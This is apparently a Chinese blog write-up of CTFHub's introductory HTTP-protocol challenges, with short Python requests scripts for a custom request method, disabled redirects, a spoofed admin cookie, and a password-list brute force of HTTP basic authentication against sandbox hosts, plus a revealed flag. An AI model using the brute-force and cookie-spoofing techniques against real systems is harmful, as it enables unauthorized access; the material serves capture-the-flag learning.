• ctfhub技能树---http协议


    闲来无事,用python写了一下,代码都很简单
    ctfhub链接:CTFHub

    请求方式

    他说要用方法CTFHUB,那就直接自定义个方法就可以了

    # #请求方式
    import requests
    
    url = 'http://challenge-25a50f993babac1c.sandbox.ctfhub.com:10800/index.html' #改成你的url
    res = requests.request('CTFHUB', url)
    print(res.text)
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7

    详细用法请参考:requests.request方法
    在这里插入图片描述

    302跳转

    我的理解就是他会index.html->index.php->index.html,我们可以直接禁止重定向,就到了index.php就不跳转了,所以可以直接用requests中的allow_redirects=False

    # 302跳转
    import requests
    
    res = requests.get('http://challenge-ef315930cafffdad.sandbox.ctfhub.com:10800/index.php', allow_redirects=False)#改成你的网址/index.php,然后不让他重定向就可以了
    print(res.text)
    
    • 1
    • 2
    • 3
    • 4
    • 5

    详细用法请参考:requests重定向
    在这里插入图片描述

    Cookie

    直接F12看他的request headers
    在这里插入图片描述
    盲猜admin=1就可以了,那直接试一试:

    # cookie
    import requests
    
    url = 'http://challenge-248159ff10251d08.sandbox.ctfhub.com:10800/'  # 改成你自己的url
    cookies = {'admin': '1'}
    res = requests.get(url, cookies=cookies)
    print(res.text)
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7

    详细内容:requests的Cookie
    在这里插入图片描述

    基础认证

    在这里插入图片描述
    click就跳转到:
    在这里插入图片描述
    然后他还给了个密码本:
    在这里插入图片描述
    但没给用户名啊,只能盲猜admin啊,不行就拉倒。
    ![在这里插入图片描述](https://img-blog.csdnimg.cn/e1c06e0d4a444493beb3e6e18298104c.png
    你看,还给了提示,do u know admin
    那直接遍历密码本就可以了

    # 基础认证
    import requests
    
    url = 'http://challenge-cf5a0467fb24a0ae.sandbox.ctfhub.com:10800/flag.html'#改成你自己的url
    pwd_list = []
    with open('10_million_password_list_top_100.txt', 'r') as f:
        for pwd in f.readlines():
            # pwd_list.append(line)#别用+=,这样他们就变成很多个字符了,而不是一个个字符串,你可以试一试
            pwd = pwd.strip()  # 因为每个字符串都有\n,所以要去掉
            res = requests.get(url, auth=('admin', pwd))
            if res.status_code == 200:
                print(pwd, res.text)
                break
    #输出iloveyou ctfhub{f489a1454de438148d22b46a}
    #注意,每次的密码和flag都不一样的!
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15

    详细内容:requests基础认证
    在这里插入图片描述

    响应包源代码

    本能地F12,然后flag就在里面??
    在这里插入图片描述
    啊这,那就画蛇添足吧

    # 响应包源代码
    import requests
    
    url = 'http://challenge-51d50ef13e470ee2.sandbox.ctfhub.com:10800/'
    res = requests.get(url)
    print(res.text)
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6

    然后在输出里面 ctrl+f查找ctfhub就会找到了。
    在这里插入图片描述
    当然了,眼神好,也可以找一找,就在body下面一行,不过何必呢?直接F12不香吗?

    附上requests官方文档链接:requests官网文档

    以上。

  • 相关阅读:
    整合SSM(Mybatis-Spring-SpringMVC层)
    第六章 块为结构建模 P1|系统建模语言SysML实用指南学习
    Java实现图书管理系统
    博客系统(ssm版本)
    linux 挂载磁盘 普通用户读写 --chatGPT
    人血清白蛋白修饰绿原酸/诺氟沙星/沙拉沙星, HSA-CA/Nor/Sarafloxacin
    程序员工具
    客户端开发常用框架
    一道思考题所引起动态跟踪 ‘学案’
    苹果 MacBook如何取消开盖自动开机功能?
  • 原文地址:https://blog.csdn.net/weixin_43216252/article/details/126836442